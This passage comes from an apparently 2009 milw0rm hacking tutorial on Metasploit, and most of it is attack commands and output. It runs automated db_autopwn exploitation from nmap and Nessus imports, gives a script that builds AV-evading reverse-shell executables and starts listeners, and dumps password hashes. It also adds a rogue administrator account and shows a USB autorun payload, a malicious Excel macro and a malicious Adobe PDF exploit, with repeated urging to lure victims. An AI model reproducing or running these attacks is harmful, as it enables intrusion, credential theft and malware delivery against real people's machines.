        Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds

        [End Result]-----------------------------------------------------------------------------------

                Now we got nmap.xml for import to Metasploit framework...

        [Import Nmap result to Metasploit]-------------------------------------------------------------

        bt framework3 # msfconsole
                        _                  _       _ _
                       | |                | |     (_) |
         _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
        | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
```

```
          | | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
          |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                                       | |
                                       |_|


                =[ msf v3.3-dev
          + -- --=[ 288 exploits - 124 payloads
                  + -- --=[ 17 encoders - 6 nops
                =[ 56 aux

          msf > load db_sqlite3
          [*] Successfully loaded plugin: db_sqlite3
          msf > db_create /tmp/test.db
          [*] Creating a new database instance...
          [*] Successfully connected to the database
          [*] File: /tmp/test.db
          msf > db_import_nmap_xml /root/nmap.xml
          msf > db_hosts
          [*] Time: Fri Jul 03 14:01:56 +0000 2009 Host: 192.168.80.129 Status: alive OS:
          msf > db_autopwn -p -e
          [*] (3/116): Launching exploit/unix/webapp/tikiwiki_jhot_exec against 192.168.80.129:80...
          [*] (8/116): Launching exploit/unix/webapp/awstats_configdir_exec against 192.168.80.129:80...
          [*] (9/116): Launching exploit/windows/http/bea_weblogic_transfer_encoding against
  192.168.80.129:80...

          [*] Started bind handler
          [*] Started bind handler
          [*] (12/116): Launching exploit/unix/webapp/awstats_migrate_exec against 192.168.80.129:80...
          [*] (13/116): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.80.129:135...
          [*] Started bind handler
          [*] Started bind handler
          [*] Job limit reached, waiting on modules to finish...
          [*] The server returned: 404 Object Not Found
          [*] This server may not be vulnerable
          [*] Started bind handler
          [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
          [*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
          [*] The server returned: 404 Object Not Found
          [*] This server may not be vulnerable
          [*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
          [*] Sending exploit ...
          [*] The DCERPC service did not reply to our request
          [*] Command shell session 1 opened (192.168.80.131:52929 -> 192.168.80.129:10529)
          .......
          .......
          sessions -l
```

```
Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.80.131:52929 -> 192.168.80.129:10529
  2   Command shell  192.168.80.131:50775 -> 192.168.80.129:17887
  3   Command shell  192.168.80.131:40985 -> 192.168.80.129:37295
  4   Command shell  192.168.80.131:51652 -> 192.168.80.129:37095
  5   Command shell  192.168.80.131:38373 -> 192.168.80.129:17130
  6   Command shell  192.168.80.131:56722 -> 192.168.80.129:20693

msf >sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.80.129
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.80.2

C:\WINNT\system32>

[End Result]--------------------------------------------------------------------------------


++++++++++++++++++++++++++++++++++++++
 [0x03b] - Nessus+Metasploit Autopwned
++++++++++++++++++++++++++++++++++++++

        First, you must use Nessus scanner for VA and export file with *.nbe, then import to
metasploit framework for autopwn

[Import Nessus(nbe) result to Metasploit]----------------------------------------------------

bt framework3 # msfconsole

#    # ###### #####   ##    ####  #####  #       ####  # #####
##  ## #        #    #  #  #      #    # #      #    # #   #
```

```
# ## # #####    #   #    #  ####  #    # #      #    # #   #
#    # #        #   ######      # #####  #      #    # #   #
#    # #        #   #    # #    # #      #      #    # #   #
#    # ######   #   #    #  ####  #      ######  ####  #   #


       =[ msf v3.3-dev
+ -- --=[ 288 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
       =[ 56 aux

msf > load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
msf > db_create /tmp/ness.db
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /tmp/ness.db
msf > db_import_nessus_nbe /root/demo.nbe
msf > db_hosts
[*] Time: Fri Jul 03 14:43:58 +0000 2009 Host: 192.168.80.129 Status: alive OS:
msf > db_autopwn -x -t
[*] Analysis completed in 4.28915095329285 seconds (17 vulns / 1145 refs)
[*] Matched auxiliary/dos/windows/smb/ms05_047_pnp against 192.168.80.129:445...
[*] Matched exploit/windows/dcerpc/ms03_026_dcom against 192.168.80.129:135...
[*] Matched exploit/windows/smb/ms06_040_netapi against 192.168.80.129:445...
[*] Matched exploit/windows/mssql/ms02_039_slammer against 192.168.80.129:1434...
[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.80.129:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.80.129:445...
msf > db_autopwn -x -e
[*] (2/6): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.80.129:135...
[*] (3/6): Launching exploit/windows/smb/ms06_040_netapi against 192.168.80.129:445...

[*] Started bind handler
[*] (4/6): Launching exploit/windows/mssql/ms02_039_slammer against 192.168.80.129:1434...
[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
[*] (5/6): Launching exploit/windows/smb/ms05_039_pnp against 192.168.80.129:445...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
[*] Started bind handler
[*] (6/6): Launching exploit/windows/smb/ms04_011_lsass against 192.168.80.129:445...
[*] Sending UDP packet with return address 0x42b48774
[*] Execute 'net start sqlserveragent' once access is obtained
[*] Started bind handler
[*] Connecting to the SMB service...
[*] Sending exploit ...
msf >
[*] Detected a Windows 2000 target
```

```
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.80.129[\BROWSER] ...
[*] Started bind handler
[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.80.129[\browser] ...
[*] The DCERPC service did not reply to our request
[*] Command shell session 1 opened (192.168.80.131:41655 -> 192.168.80.129:39354)
[*] Command shell session 2 opened (192.168.80.131:57118 -> 192.168.80.129:7605)
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.80.129[\lsarpc]...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.80.129[\BROWSER] ...
[*] Building the stub data...
[*] Bound to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.80.129[\browser] ...
[*] Calling the vulnerable function...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.80.129[\lsarpc]...
[*] Getting OS information...
[*] Trying to exploit Windows 5.0
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 3 opened (192.168.80.131:50407 -> 192.168.80.129:15299)
[*] Command shell session 4 opened (192.168.80.131:32768 -> 192.168.80.129:30092)
[*] The DCERPC service did not reply to our request
[*] Command shell session 5 opened (192.168.80.131:39556 -> 192.168.80.129:17330)
sessions -l

Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.80.131:41655 -> 192.168.80.129:39354
  2   Command shell  192.168.80.131:57118 -> 192.168.80.129:7605
  3   Command shell  192.168.80.131:50407 -> 192.168.80.129:15299
  4   Command shell  192.168.80.131:32768 -> 192.168.80.129:30092
  5   Command shell  192.168.80.131:39556 -> 192.168.80.129:17330

msf > sessions -i 3
[*] Starting interaction with 3...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.80.129
```

```
                Subnet Mask . . . . . . . . . . . : 255.255.255.0
                Default Gateway . . . . . . . . . : 192.168.80.2

        C:\WINNT\system32>

        [End Result]--------------------------------------------------------------------------------


##############################################
 [0x04] - Client-Side Attack with Metasploit
##############################################


        ++++++++++++++++++++++++++++++++++++++
         [0x04a] - Metasploit Payload Generator
        ++++++++++++++++++++++++++++++++++++++

                Metasploit Payload Generator is a tool allowing you to create malicious code easily.
        This is not a tool to exploit a system. You can use the tool to create malicious payload and
        save it to exe file then you need to lure a victim to execute that file on his/her machine.

                There is a feature to encode your payload to get past most AV and IDS/IPS (13 Encoding
Choices).
        So we can use Metasploit Payload Generator from "Fast-Track". If you don't have "fast-track", you
need
        Metasploit framework and this script for you  ;)

        [metascript]--------------------------------------------------------------------------------

        #!/bin/bash
        echo "############################################"
        echo "#### 0-Days Exploits with MetaCompiler ####"
        echo "############################################"
        echo ""
        echo -n "Enter your Listener IP Address: "
        read ip
        echo -n "Enter your Listener Port: "
        read port
        echo ""
        echo "-= MetaCompiler Payloads =-"
        echo ""
        echo "+-------------------------------------------------------------------------+"
        echo "+ Meterpreter Reverse Connectback   - windows/meterpreter/reverse_tcp +"
        echo "+ VNC Inject Reverse Connectback    - windows/vncinject/reverse_tcp   +"
        echo "+ Generic Reverse Shell             - generic/shell_reverse_tcp       +"
        echo "+ Linux X86 Reverse Shell           - linux/x86/shell_reverse_tcp     +"
        echo "+ Mac OSX (iphone) Reverse Shell    - osx/ppc/shell/reverse_tcp       +"
        echo "+ Windows Reverse Shell             - windows/shell/reverse_tcp       +"
```

```
        echo "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
        echo ""
        echo -n "Enter your Payload Exploit: "
        read payload
        echo -n "Enter your Output file name (xpl.exe): "
        read file
        echo ""
        echo "-= Processing =-"
        /pentest/exploits/framework3/msfpayload $payload LHOST=$ip LPORT=$port R |
/pentest/exploits/framework3/msfencode -b '' -t exe -o $file
        echo "Enjoy 0-Days Exploit with $file ;)"
        echo ""
        echo ""
        echo "-= Now Waiting for Reverse Connection from Victim =-"
        /pentest/exploits/framework3/msfcli multi/handler PAYLOAD=$payload LHOST=$ip LPORT=$port
DisableCourtesyShell=True E

        [End script]----------------------------------------------------------------------------------


                Next, Example for using "Fast-Track".


        [Metasploit Gen]------------------------------------------------------------------------------

        bt fast-track # ./fast-track.py -i

        ***********************************************
        ******* Performing dependency checks... *******
        ***********************************************

        *** FreeTDS and PYMMSQL are installed. (Check) ***
        *** PExpect is installed. (Check) ***
        *** ClientForm is installed. (Check) ***
        *** Psyco is installed. (Check) ***
        *** Beautiful Soup is installed. (Check) ***
        *** PyMills is installed. (Check) ***

        Also ensure ProFTP, WinEXE, and SQLite3 is installed from
        the Updates/Installation menu.

        Your system has all requirements needed to run Fast-Track!

        Fast-Track Main Menu:

            Fast-Track - Where it's OK to finish in under 3 minutes...
            Version: v4.0
            Written by: David Kennedy (ReL1K)
```

```
        http://www.securestate.com
        http://www.thepentest.com

        1.  Fast-Track Updates
        2.  External Hacking
        3.  Internal Hacking
        4.  Exploits
        5.  SQLPwnage
        6.  Payload Generator
        7.  Tutorials
        8.  Changelog
        9.  Credits
        10. About
        11. Exit

        Enter the number: 6
    Configuration file not detected, running default path.
    Recommend running setup.py install to configure Fast-Track.

    ######################################
    ###                                ###
    ### Metasploit Payload Generator  ###
    ###                                ###
    ### Written by: Dave Kennedy      ###
    ### aka ReL1K                     ###
    ###                                ###
    ######################################
    ######################################


    The Metasploit Payload Generator is a simple tool to
    make it extremely easy to generate a payload and listener
    on the Metasploit framework. This does not actually
    exploit any systems, it will generate a metasploit payload
    for you and save it to an executable. You then need to
    someone get it on the remote server by yourself and get it
    to execute correctly.

    This will also encode your payload to get past most AV and
    IDS/IPS.


    What payload do you want to generate:

    Name:                              Description:

    1. Windows Shell Reverse_TCP              Spawn a command shell on victim and send back to
attacker.
```

```
        2. Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to
attacker.
        3. Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker.
        4. Windows Bind Shell                      Execute payload and create an accepting port on remote
system.
        5. Windows Reflective Reverse VNC          Spawn a VNC server on victim and send back to attacker.
        6. Windows Reflective Reverse Meterpreter  Spawn a Meterpreter shell on victim through Reflective
to attacker.

        Enter choice (example 1-6): 2

        Below is a list of encodings to try and bypass AV.

        Select one of the below, Avoid_UTF8_tolower usually gets past them.

        1. avoid_utf8_tolower
        2. shikata_ga_nai
        3. alpha_mixed
        4. alpha_upper
        5. call4_dword_xor
        6. countdown
        7. fnstenv_mov
        8. jmp_call_additive
        9. nonalpha
        10. nonupper
        11. unicode_mixed
        12. unicode_upper
        13. alpha2
        14. No Encoding

        Enter your choice : 2

        Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 192.168.80.131
        Enter the port of the Listener: 5555

        Do you want to create an EXE or Shellcode

        1. Executable
        2. Shellcode

        Enter your choice: 1
        Created by msfpayload (http://www.metasploit.com).
        Payload: windows/meterpreter/reverse_tcp
         Length: 278
        Options: LHOST=192.168.80.131,LPORT=5555,ENCODING=shikata_ga_nai


        A payload has been created in this directory and is named 'payload.exe'. Enjoy!
```

```
Do you want to start a listener to receive the payload yes or no: yes

Launching Listener...
*******************************************************************************************

Launching MSFCLI on 'exploit/multi/handler' with PAYLOAD='windows/meterpreter/reverse_tcp'
Listening on IP: 192.168.80.131 on Local Port: 5555 Using encoding: ENCODING=shikata_ga_nai

*******************************************************************************************
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.80.131:5555 -> 192.168.80.1:13948)

meterpreter > getuid
Server username: LENOVO-X200\prathan
meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump
Administrator:500:F703F386322B0662E72C57EF50F76A05:C62638B38308E651B21A0F2CCAB3AC9B
Guest:501:A0E150C75A17008EAAD3B435B51404EE:823893ADFAD2CDA6E1A414F3EBDF58F7
prathan:1003:879980DE48006E7EAAD3B435B51404EE:BA69764BCCF8F41121E0B3046CE46C67
TsInternetUser:1002:52FE1A30EB33BA7BE3BB722E78963414:3A07E408DB9CB2331C9C527B0F4A8C52
meterpreter > execute -H -i -f cmd.exe
Process 692 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\prathan\Desktop>hostname
LENOVO-X200

C:\Documents and Settings\prathan\Desktop>net user cwh 1234 /add
net user cwh 1234 /add
The command completed successfully.

C:\Documents and Settings\prathan\Desktop>net localgroup administrators cwh /add
net localgroup administrators cwh /add
The command completed successfully.

C:\Documents and Settings\prathan\Desktop>net user
```

```
net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            cwh                  Guest
prathan                  TsInternetUser
The command completed with one or more errors.

[End Result]-----------------------------------------------------------------------------------
```

From Above, We can Attack victim from Social-engineering if they execute "payload.exe". What's happen If we use Autorun.inf to force them execute our files.

```
[USB Pwnage]-----------------------------------------------------------------------------------

+autorun.inf
[autorun]
action=Open Files On Folder
icon=icons\drive.ico
shellexecute=nircmd.exe execmd CALL batexe\progstart.bat

+icons
+nircmd.exe

+batexe
 -progstart.bat
  @echo off
  nircmd.exe execmd CALL batexe\moddump.bat
  nircmd.exe execmd CALL batexe\modsmax.bat

 -moddump.bat
  @echo off
  nircmd.exe execmd .\batexe\payload.exe

 -modsmax.bat
  @echo off
  start ..
  nircmd.exe win max ititle "Remo"

 [End File]-------------------------------------------------------------------------------------
```

If someone open USB drive with Autorun or Double-click USB drive from My computer, Their System will compromised !!

```
++++++++++++++++++++++++++++++++++
 [0x04b] - MS-Office Macro Ownage
```

++++++++++++++++++++++++++++++++++

MS word, Excel, Powerpoint, etc. can import VBscript to their files. Metasploit can generate VBScript that contains Malicious Payload !!

In this example, we will show script for exploiting victim with MS-Excel. The victim machine will start reverse VNC to our machine after

the victim opens MS-Excel file.

[Msf script]----------

```
bt framework3 # ./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.80.131 V > /tmp/script.bas
bt framework3 # ./msfcli multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.80.131 DisableCourtesyShell=True E
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2658 bytes)
[*] Sleeping before handling stage...
```

[End Result]----------

Now we have "script.bas", Open MSExcel -> Tools -> Macro -> Visual Basic Editor then import "script.bas" and SAVE Excel file.

After that use your skill for social engineering, Force them to open MSExcel and Enable Macros. We will control target via VNC viewer with their privilege.

++++++++++++++++++++++++++++++++++

[0x04c] - AdobeReader PDF Ownage

++++++++++++++++++++++++++++++++++

Metasploit has exploit script for Generating Malicious PDF file to Attack through "Adobe JBIG2Decode Memory Corruption".

This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.

When we generate malicious PDF, send to victim and social-engineering for open PDF file. Game Over !!

[AdobeReader Exploit]----------

```
bt framework3 # msfconsole
                  _                  _       _ _
                 | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
```

```
                                  | |
                                  |_|


       =[ msf v3.3-dev
+ -- --=[ 288 exploits - 124 payloads
        + -- --=[ 17 encoders - 6 nops
       =[ 56 aux

msf > use windows/fileformat/adobe_jbig2decode
msf exploit(adobe_jbig2decode) > set TARGET 0
TARGET => 0
msf exploit(adobe_jbig2decode) > set FILENAME malfile.pdf
FILENAME => malfile.pdf
msf exploit(adobe_jbig2decode) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_jbig2decode) > set LHOST 192.168.80.131
LHOST => 192.168.80.131
msf exploit(adobe_jbig2decode) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Creating 'malfile.pdf' file...
[*] Generated output file /pentest/exploits/framework3/data/exploits/malfile.pdf
[*] Exploit completed, but no session was created.
msf exploit(adobe_jbig2decode) > exit
bt framework3 # ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444
LHOST=192.168.80.131 E
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stanger for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.80.131:4444 -> 192.168.80.132:1041)

meterpreter > getuid
Server username: WINXP\victim
meterpreter > execute -H -i -f cmd.exe
Process 692 created.
Channel 1 created.
Micorsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victim\Desktop> Ownage Again !!!
```

[End Result]----------

Other techniques such as "DNS Spoofing+IE7" was great for Mass Exploit, you can see video at http://www.milw0rm.com/video/watch.php?id=96

That use Ettercap for DNS spoofing then use Metasploit for handling reverse shell from "IE7 MS09-002 Memory Corruption Vulnerability".That force all machine in the same network

drive to attacker's machine and ... Game Over !!

```
######################
 [0x05] - References
######################
```

[1] SANS: Scanning Windows Deepers With Nmap Scanning Engines
[2] http://nmap.org
[3] http://oss.coresecurity.com/projects/pshtoolkit.html
[4] http://blog.metasploit.com/
[5] http://foofus.net/jmk/passhash.html
[6] Full Scope Security Attacking Layer 8
[7] PaulDotCom Forum
[8] www.milw0rm.com

```
####################
 [0x06] - Greetz To
####################
```

Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com

---

milw0rm.com [2009-07-10]